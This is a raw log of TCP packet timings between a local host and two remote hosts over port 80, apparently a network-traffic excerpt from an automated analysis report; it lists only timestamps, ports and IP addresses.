Jan 14, 2022 01:51:48.044920921 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.044928074 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044950962 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044962883 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.044970989 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044994116 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045012951 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045013905 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045037031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045042038 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045058012 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045083046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045105934 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045124054 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045128107 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045149088 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045155048 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045166016 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045172930 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045193911 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045213938 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045218945 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045234919 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045257092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045277119 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045281887 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045300007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045310974 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045324087 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045341969 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045356989 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045372963 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045396090 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045413971 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045455933 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045476913 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045495987 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045514107 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045516968 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045532942 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045538902 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045566082 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045572042 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045608997 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045614958 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045629025 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045645952 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045664072 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045677900 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045722961 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045782089 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045804024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045823097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045844078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045886040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045905113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045908928 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045917034 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.045924902 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.045958042 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.046065092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.046086073 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.046106100 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.046133995 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.046154022 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.065043926 CET	80	49866	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.065186024 CET	49866	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.086030006 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086062908 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086083889 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086103916 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086123943 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086136103 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086144924 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086167097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086170912 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086188078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086190939 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086210966 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086231947 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086236000 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086252928 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086273909 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086287975 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086292982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086314917 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086329937 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086335897 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086355925 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086376905 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086384058 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086397886 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086416960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086431026 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086437941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086458921 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086461067 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086479902 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086499929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086505890 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086522102 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086538076 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086544991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086565971 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086582899 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086587906 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086611032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086631060 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086636066 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086652994 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086667061 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086673975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086694002 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086714029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086734056 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086738110 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086755037 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086775064 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086777925 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086796045 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086817026 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086836100 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086850882 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086855888 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086872101 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086878061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086901903 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086904049 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086921930 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086942911 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086949110 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.086965084 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.086986065 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.087013006 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.087033033 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.087100029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.087132931 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.087186098 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.118442059 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.118484974 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.118505955 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.118527889 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.118546009 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.118551016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.118573904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.118596077 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.118609905 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.118616104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.118623972 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.118669987 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.118772984 CET	49866	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.118848085 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.118896008 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.118974924 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.119307995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.119330883 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.119776011 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.119816065 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.119851112 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.119949102 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.119998932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120023012 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120044947 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120084047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120122910 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120136976 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120162964 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120186090 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120209932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120230913 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120235920 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120253086 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120275021 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120296001 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120310068 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120318890 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120323896 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120342016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120363951 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120373964 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120387077 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120410919 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120417118 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120434046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120455980 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120457888 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120477915 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120501041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120522022 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120532990 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120543957 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120554924 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120567083 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120587111 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120590925 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120611906 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120632887 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120652914 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120661974 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120676994 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120681047 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120698929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120719910 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120729923 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120742083 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120764017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120774984 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120786905 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120810032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120810986 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120831013 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120853901 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120855093 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120876074 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120897055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120918989 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120923996 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120939970 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.120953083 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.120989084 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.121026993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.121048927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.121071100 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.121090889 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.121112108 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.121123075 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.121134996 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.121155977 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.121157885 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.121170998 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.121180058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.121225119 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.121253014 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.121274948 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.121321917 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.152738094 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.161602020 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161637068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161663055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161685944 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161711931 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161715031 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.161736965 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161751986 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.161762953 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161780119 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.161791086 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161817074 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161840916 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161869049 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.161886930 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161911011 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.161914110 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161940098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161966085 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.161988974 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.161990881 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162009954 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162015915 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162043095 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162065983 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162087917 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162091017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162111044 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162115097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162137032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162158966 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162180901 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162188053 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162204981 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162208080 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162229061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162249088 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162272930 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162273884 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162297010 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162297964 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162321091 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162343979 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162368059 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162368059 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162389994 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162390947 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162414074 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162446976 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162468910 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162471056 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162492990 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162493944 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162518978 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162540913 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162561893 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162569046 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162585020 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162589073 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162610054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162635088 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162636042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162657976 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162682056 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162703991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162707090 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162729979 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162734032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162755013 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162772894 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162794113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.162803888 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.162825108 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.163252115 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.165206909 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.169671059 CET	80	49866	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.193253994 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193291903 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193315029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193337917 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193356991 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.193361044 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193388939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193409920 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.193414927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193439007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193449974 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.193475962 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193495989 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193517923 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.193528891 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.193568945 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.194417000 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.194443941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.194463015 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.194483042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.194504023 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.194526911 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195389032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195411921 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195430994 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195455074 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195477962 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195491076 CET	49863	80	192.168.2.3	141.8.194.74
